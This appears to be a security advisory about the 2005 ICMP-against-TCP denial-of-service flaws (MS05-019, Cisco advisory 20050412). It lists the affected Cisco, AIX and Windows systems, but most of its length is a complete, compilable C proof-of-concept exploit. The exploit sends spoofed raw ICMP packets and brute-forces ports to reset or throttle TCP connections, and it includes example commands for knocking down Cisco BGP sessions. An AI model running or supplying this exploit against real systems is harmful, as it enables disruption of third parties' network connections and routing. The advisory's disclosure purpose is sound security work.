Summary
Attackers can send a specially crafted Internet Control Message Protocol (ICMP) message that will cause a denial of service for the affected systems. An attacker who successfully exploited this vulnerability could cause the affected system to reset existing TCP connections, reduce the throughput in existing TCP connections, or consume large amounts of CPU and memory resources.

Credit:
The information has been provided by houseofdabus HOD.
The original article can be found at: http://www.livejournal.com/users/houseofdabus/
For more information please see the following links: http://www.securiteam.com/windowsntfocus/5IP0J0UFFM.html,
http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml,
http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html and http://www.kb.cert.org/vuls/id/222750

Details
Vulnerable Systems:
* Cisco Content Services Switch 11000 Series (WebNS)
* Cisco Global Site Selector (GSS) 4480 1.x
* Cisco IOS 10.x
* Cisco IOS 11.x
* Cisco IOS 12.x
* Cisco IOS R11.x
* Cisco IOS R12.x
* Cisco IOS XR (CRS-1) 3.x
* Cisco ONS 15000 Series
* Cisco PIX 6.x
* Cisco SAN-OS 1.x (MDS 9000 Switches)
* AIX 5.x
* Windows Server 2003
* Windows XP SP2
* Windows XP SP1
* Windows 2000 SP4
* Windows 2000 SP3

Exploit:
/* HOD-icmp-attacks-poc.c: 2005-04-15: PUBLIC v.0.2
*
* Copyright (c) 2004-2005 houseofdabus.
*
* (MS05-019) (CISCO:20050412)
* ICMP attacks against TCP (Proof-of-Concept)
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* [ for more details:
* [ http://www.livejournal.com/users/houseofdabus
* ---------------------------------------------------------------------
* Systems Affected:
* - Cisco Content Services Switch 11000 Series (WebNS)
* - Cisco Global Site Selector (GSS) 4480 1.x
* - Cisco IOS 10.x
* - Cisco IOS 11.x
* - Cisco IOS 12.x
* - Cisco IOS R11.x
* - Cisco IOS R12.x
* - Cisco IOS XR (CRS-1) 3.x
* - Cisco ONS 15000 Series
* - Cisco PIX 6.x
* - Cisco SAN-OS 1.x (MDS 9000 Switches)
* - AIX 5.x
* - Windows Server 2003
* - Windows XP SP2
* - Windows XP SP1
* - Windows 2000 SP4
* - Windows 2000 SP3
* ...
*
* ---------------------------------------------------------------------
* Description:
* A denial of service vulnerability exists that could allow an
* attacker to send a specially crafted Internet Control Message
* Protocol (ICMP) message to an affected system. An attacker who
* successfully exploited this vulnerability could cause the affected
* system to reset existing TCP connections, reduce the throughput
* in existing TCP connections, or consume large amounts of CPU and
* memory resources.
* (CAN-2004-0790, CAN-2004-0791, CAN-2004-1060)
*
* ---------------------------------------------------------------------
* Solution:
* http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
* http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
*
* Other References:
* http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
* http://www.kb.cert.org/vuls/id/222750
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows Server 2003
* - Windows XP SP1
* - Windows 2000 SP4
* - Cisco IOS 11.x
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Win32/cygwin: gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Linux : gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
*
* ---------------------------------------------------------------------
* Examples:
*
* client <---> router <---> router <---> server
*
* CLIENT <---> SERVER
*
* HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1
* (abort the connection)
*
* HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2
* (slow down the transmission rate for traffic)
*
*
* ROUTER1 <---> ROUTER2
*
* HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1
* (DoS Cisco BGP Connections)
*
* HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2
* (slow down the transmission rate for traffic)
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/

/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
/* IP_HDRINCL */
#include <ws2tcpip.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_PACKET 4096

#define DEFAULT_PORT 80
#define DEFAULT_IP "192.168.0.1"
#define DEFAULT_COUNT 1

/* Define the IP header */
typedef struct ip_hdr {
unsigned char ip_verlen; /* IP version & length */
unsigned char ip_tos; /* IP type of service */
unsigned short ip_totallength; /* Total length */
unsigned short ip_id; /* Unique identifier */
unsigned short ip_offset; /* Fragment offset field */
unsigned char ip_ttl; /* Time to live */
unsigned char ip_protocol; /* Protocol */
unsigned short ip_checksum; /* IP checksum */
unsigned int ip_srcaddr; /* Source address */
unsigned int ip_destaddr; /* Destination address */
} IP_HDR, *PIP_HDR;

/* Define the ICMP header */
/* Destination Unreachable Message */
typedef struct icmp_hdr {
unsigned char type; /* Type */
unsigned char code; /* Code */
unsigned short checksum; /* Checksum */
unsigned long unused; /* Unused */
} ICMP_HDR, *PICMP_HDR;

/* 64 bits of Original Data Datagram (TCP header) */
char msg[] =
"\x00\x50" /* Source port */
"\x00\x50" /* Destination port */
"\x23\x48\x4f\x44";

/* globals */
unsigned long dwToIP, /* IP to send to */
dwFromIP; /* IP to send from (spoof) */
unsigned short iToPort, /* Port to send to */
iFromPort; /* Port to send from (spoof) */
unsigned long dwCount; /* Number of times to send */
unsigned long Attack;

void
usage(char *progname) {
printf("Usage:\n\n");
printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> <-fi:SRC-PORT> [-tp:int] [-a:int] [-n:int]\n\n", progname);
printf(" -fi:IP From (sender) IP address\n");
printf(" -ti:IP To (target) IP address\n");
printf(" -fp:int Target open TCP port number\n");
printf(" (for example - 21, 25, 80)\n");
printf(" -tp:int Inicial value for bruteforce (sender) TCP port number\n");
printf(" (default: 0 = range of ports 0-65535)\n");
printf(" -n:int Number of packets\n\n");
printf(" -a:int ICMP attacks:\n");
printf(" 1 - Blind connection-reset attack\n");
printf(" (ICMP protocol unreachable)\n");
printf(" 2 - Path MTU discovery attack\n");
printf(" (slow down the transmission rate)\n");
printf(" 3 - ICMP Source Quench attack\n");
exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
int i;

iToPort = 0;
iFromPort = DEFAULT_PORT;
dwToIP = inet_addr(DEFAULT_IP);
dwFromIP = inet_addr(DEFAULT_IP);
dwCount = DEFAULT_COUNT;
Attack = 1;

for (i = 1; i < argc; i++) {
if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
switch (tolower(argv[i][1])) {
case 'f':
switch (tolower(argv[i][2])) {
case 'p':
if (strlen(argv[i]) > 4)
iFromPort = atoi(&argv[i][4]);
break;
case 'i':
if (strlen(argv[i]) > 4)
dwFromIP = inet_addr(&argv[i][4]);
break;
default:
usage(argv[0]);
break;
}
break;
case 't':
switch (tolower(argv[i][2])) {
case 'p':
if (strlen(argv[i]) > 4)
iToPort = atoi(&argv[i][4]);
break;
case 'i':
if (strlen(argv[i]) > 4)
dwToIP = inet_addr(&argv[i][4]);
break;
default:
usage(argv[0]);
break;
}
break;
case 'n':
if (strlen(argv[i]) > 3)
dwCount = atol(&argv[i][3]);
break;
case 'a':
if (strlen(argv[i]) > 3)
Attack = atol(&argv[i][3]);
if ((Attack > 3) || (Attack < 1))
usage(argv[0]);
break;
default:
usage(argv[0]);
break;
}
}
}
return;
}

/* This function calculates the 16-bit one's complement sum */
/* for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
unsigned long cksum = 0;

while (size > 1) {
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size) {
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);

return (unsigned short)(~cksum);
}

int
main(int argc, char **argv)
{

#ifdef _WIN32
WSADATA wsd;
#endif
int s;
#ifdef _WIN32
BOOL bOpt;
#else
int bOpt;
#endif
struct sockaddr_in remote;
IP_HDR ipHdr,
ipHdrInc;
ICMP_HDR icmpHdr;
int ret;
unsigned long i, p;
unsigned short iTotalSize,
iIPVersion,
iIPSize,
p2,
cksum = 0;
char buf[MAX_PACKET],
*ptr = NULL;
#ifdef _WIN32
IN_ADDR addr;
#else
struct sockaddr_in addr;
#endif

printf("\n (MS05-019) (CISCO:20050412)\n");
printf(" ICMP attacks against TCP (Proof-of-Concept)\n\n");
printf(" Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");

if (argc < 3) usage(argv[0]);

/* Parse command line arguments and print them out */
ValidateArgs(argc, argv);
#ifdef _WIN32
addr.S_un.S_addr = dwFromIP;
printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
addr.S_un.S_addr = dwToIP;
printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
printf("[*] Count: %d\n", dwCount);
#else
addr.sin_addr.s_addr = dwFromIP;
printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
addr.sin_addr.s_addr = dwToIP;
printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
printf("[*] Count: %d\n", dwCount);
#endif

#ifdef _WIN32
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
printf("[-] WSAStartup() failed: %d\n", GetLastError());
return -1;
}
#endif
/* Creating a raw socket */
s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
if (s == INVALID_SOCKET) {
#else
if (s < 0) {
#endif
printf("[-] socket() failed\n");
return -1;
}

/* Enable the IP header include option */
#ifdef _WIN32
bOpt = TRUE;
#else
bOpt = 1;
#endif
ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
if (ret == SOCKET_ERROR) {
printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
return -1;
}
#endif

/* Initalize the IP header */
iTotalSize = sizeof(ipHdr) + sizeof(icmpHdr) + sizeof(msg)-1 + sizeof(ipHdrInc);

iIPVersion = 4;
iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
ipHdr.ip_tos = 0; /* IP type of service */
/* Total packet len */
ipHdr.ip_totallength = htons(iTotalSize);
ipHdr.ip_id = htons(42451); /* Unique identifier */
ipHdr.ip_offset = 0; /* Fragment offset field */
ipHdr.ip_ttl = 255; /* Time to live */
ipHdr.ip_protocol = 0x1; /* Protocol(ICMP) */
ipHdr.ip_checksum = 0; /* IP checksum */
ipHdr.ip_srcaddr = dwFromIP; /* Source address */
ipHdr.ip_destaddr = dwToIP; /* Destination address */

ipHdrInc.ip_verlen = (iIPVersion << 4) | iIPSize;
ipHdrInc.ip_tos = 0; /* IP type of service */
/* Total packet len */
ipHdrInc.ip_totallength = htons(sizeof(ipHdrInc)+20);
ipHdrInc.ip_id = htons(25068); /* Unique identifier */
ipHdrInc.ip_offset = 0; /* Fragment offset field */
ipHdrInc.ip_ttl = 255; /* Time to live */
ipHdrInc.ip_protocol = 0x6; /* Protocol(TCP) */
ipHdrInc.ip_checksum = 0; /* IP checksum */
ipHdrInc.ip_srcaddr = dwToIP; /* Source address */
ipHdrInc.ip_destaddr = dwFromIP;/* Destination address */

/* Initalize the ICMP header */
icmpHdr.checksum = 0;
if (Attack == 1) {
icmpHdr.type = 3; /* Destination Unreachable Message */
icmpHdr.code = 2; /* protocol unreachable */
icmpHdr.unused = 0;
} else if (Attack == 2) {
icmpHdr.type = 3; /* Destination Unreachable Message */
icmpHdr.code = 4; /* fragmentation needed and DF set */
icmpHdr.unused = 0x44000000; /* next-hop MTU - 68 */
} else {
icmpHdr.type = 4; /* Source Quench Message */
icmpHdr.code = 0;
icmpHdr.unused = 0;
}

memset(buf, 0, MAX_PACKET);
ptr = buf;

memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
memcpy(ptr, &icmpHdr, sizeof(icmpHdr)); ptr += sizeof(icmpHdr);
memcpy(ptr, &ipHdrInc, sizeof(ipHdrInc)); ptr += sizeof(ipHdrInc);
memcpy(ptr, msg, sizeof(msg)-1);
iFromPort = htons(iFromPort);
memcpy(ptr, &iFromPort, 2);

remote.sin_family = AF_INET;
remote.sin_port = htons(iToPort);
remote.sin_addr.s_addr = dwToIP;

cksum = checksum((unsigned short *)&ipHdrInc, 20);
memcpy(buf+20+sizeof(icmpHdr)+10, &cksum, 2);

cksum = checksum((unsigned short *)&ipHdr, 20);
memcpy(buf+10, &cksum, 2);

for (p = iToPort; p <= 65535; p++) {
p2 = htons((short)p);
memcpy((char *)(ptr+2), &p2, 2);
buf[22] = 0;
buf[23] = 0;
cksum = checksum((unsigned short *)(buf+20), sizeof(icmpHdr)+28);
memcpy(buf+20+2, &cksum, 2);

for (i = 0; i < dwCount; i++) {
#ifdef _WIN32
ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
sizeof(remote));
#else
ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
sizeof(remote));
#endif
#ifdef _WIN32
if (ret == SOCKET_ERROR) {
#else
if (ret < 0) {
#endif
printf("[-] sendto() failed\n");
break;
}
}
}

#ifdef _WIN32
closesocket(s);
WSACleanup();
#endif

return 0;
}